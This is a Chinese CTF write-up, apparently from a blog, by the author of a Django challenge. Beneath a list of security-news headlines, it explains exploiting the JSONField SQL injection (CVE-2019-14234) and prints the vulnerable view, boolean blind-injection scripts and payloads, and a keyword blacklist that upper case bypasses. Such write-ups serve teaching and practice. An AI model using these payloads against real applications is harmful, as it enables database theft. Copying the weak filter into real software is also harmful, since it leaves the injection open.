Aggregator
做信息安全BP的一些感悟
为什么 OLAP 需要列式存储
当快捷指令遇上智能门锁
前段时间朋友小区换了一个智能门禁系统,户主通过一个APP进行管理,可以远程进行开锁操作。刚好这段时间在使用IOS的快捷指令操作,于是想做一个一键开门的快捷指令,直接通过快捷指令来完成开门的操作。
Rapid7收购全球领先的Kubernetes安全供应商Alcide
在内存的目标文件上执行shellcode
Steam市场与喜+1经验
NTLM Relay With CobaltStrike
Defending software build pipelines from malicious attack
Csharp使用Pipeline管道来执行PS规避杀软 - admin-神风
CVE-2021-3156 sudo heap-overflow 漏洞分析
202101-蓝队乙组月赛your_ip题解
有学弟问我月赛题目源码,感觉当时写的 wp 可以拿来水一篇博客(笑) :)
概述题目在 https://github.com/IanSmith123/your_ip
cve-2019-14234 django jsonfield 注入
此处构造了一个插入数据库和查询数据库的操作,其中查询的操作是可以控制注入的
接口两个
1 2 3 http://ip/save/?ip=1.1.1.1&domain=example.com http://ip/query/?domain=example.com 代码泄露首页图路径
1 http://ip/static扫描可得存在http://ip/static/www.zip。
1 2 Hint 1: I love something else beside Assassins creed. :) Hint 2: There is something interesting in /static, try to find it. :)一早上过去了,没有人扫到www.zip,因为一般的扫描器没有开启递归扫描,dirmap修改配置文件开启递归可以很快扫到。给了hint1和hint2之后,有两个同学扫到了www.zip,下午更晚一点的时候第三个同学扫到了www.zip。
在hint2的基础上,可以直接扫ip:port/static,一般情况下可以在半分钟内扫到泄露的代码。
审计下载后审计代码,可以找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # ip/views.py def query_ip(request): dic = request.GET dic = dict(dic) if len(dic) == 0: return render(request, 'query.html') # good idea for all kind of query dic = {f"ip__{k}": dic[k][0] for k in dic} print(dic) my_ip = MyIP.objects.filter(**dic).all().values() my_ip = [item for item in my_ip] return JsonResponse(my_ip, safe=False)其中两行是bug的起源,参考 https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
1 2 dic = {f"ip__{k}": dic[k][0] for k in dic} my_ip = MyIP.objects.filter(**dic).all().values()此处控制 domain处,造成sql注入
1 http://ip/query/?do%27main=example.com因为在题目里面,django关闭了debug,遇到错误直接返回500,如果语句构造正确,那么返回200。
因为已经有views.py了,本地可以新建一个django项目,把views.py放进去,可以直接调试构造的sql语句。
构造Poc布尔盲注 如果2>1的条件成立,那么返回结果,如果2>1不成立,那么返回空
1 2 3 4 5 def fun(poc): url = f"http://ip:8029/query/?domain{poc}=b" r = requests.get(url) print(r.text) fun("""')>'1' or 2>1--""") #因为这里不会返回注入的结果,此处可以使用布尔盲注的方式来判断数据。
1 124.16.75.162:31056/query/?domain')>'1' or 2>1--=b 1 http://124.16.75.162:31056/query/?domain%27)%3E%271%27%20or%202%3C1--=b因此可以构造一个简单的盲注脚本
1 2 3 4 5 def bool_blind(poc): url = f"http://ip:8029/query/?domain')>'1' or {poc}--=b" print(url) r = requests.get(url) print(r.text)接下来就是常规的猜表名长度,猜表名,列名的阶段
比如猜当前数据库的库名的第一个字符:
1 bool_blind("(select ascii(substr(current_database(),1,1))) between 30 and 98")不给第三条hint也不会影响做题,但是考虑到表比较多,爆破可能花时间,所以直接给了hint。本地新建一个工程,运行docker-entrypoint.sh的内容可以看到flag在auth_user表,省略了猜表名猜列名的步骤,直接到爆破flag的阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Hint 3: $ cat docker-entrypoint.sh #!/bin/bash set -ex cd /app chmod +x wait-for-it.sh ./wait-for-it.sh -t 0 psql:5432 -- echo "postgres is up" python manage.py makemigrations python manage.py migrate python manage.py shell -c "from django.contrib.auth.models import User; User.objects.create_user('flag', 'flag{fake_flag}', 'this_is_not_important') if not User.objects.filter(username='flag').exists() else 0;" exec "$@"% You'd better create your own web server in your local computer to find the table name, column name and debug your POC. 最终 poc最终payload呼之欲出:
爆破flag字符串第一位的ascii码
1 bool_blind("(select ascii(substr((select email from auth_user),1,1))) between 0 and 102")写脚本修改上限,或者人工二分,都可以快速得到flag
跋代码泄露这个阶段卡了大家这么久,这个我得给大家道歉,我没想到这里会是第一个坑,好在连给了两个hint之后,终于有一位同学扫到了/static/www.zip,然后可能和他一起做题的另一个同学,也直接访问了这个路径。没过多久,就看到构造的ip{poc}=xxx打了过来,以为很快这题就会被秒了,因为已经构造出了布尔盲注的条件了,就差修改之后的判断语句了,可是很遗憾,这两位同学还是没有做出来这道题。
因为flag是在数据库里面,而这里可以使用postgres的命令执行拿到数据库的shell,但是此处拿到了shell也不能拿到flag,因为有shell也无法登录到数据库里面,也就无法拿到flag,所以我想过在数据库里面也放同样的一个flag,但是最终放弃了这个想法,而是写了个蹩脚的黑名单过滤,让做题的同学回到注入的思路中,结果忽略了大小写可以绕过 :( 日志里面看到这两位同学的大写的 CMD_EXEC打了过来,心里一惊 :) 不过最后还是没有拿到shell
1 2 3 4 5 6 def check_danger_string(s: str): ban_list = ['cmd', 'shell', 'exec', 'cyberpunk'] for item in ban_list: if item in s: return False return True159.226.95.* 扫了挺久的,看日志很多次都和www.zip 擦肩而过,感觉这个扫描器可能不大好使,后来和他交流之后看到他扫到了源码,很快也在日志里面看到了yunsle开始构造poc,可是时间已经不够了 :)
虽然没有同学做出来这道题,不过看同学们做题还是开心的一天啊 :)
Les1ie
2021年1月10日00:11:58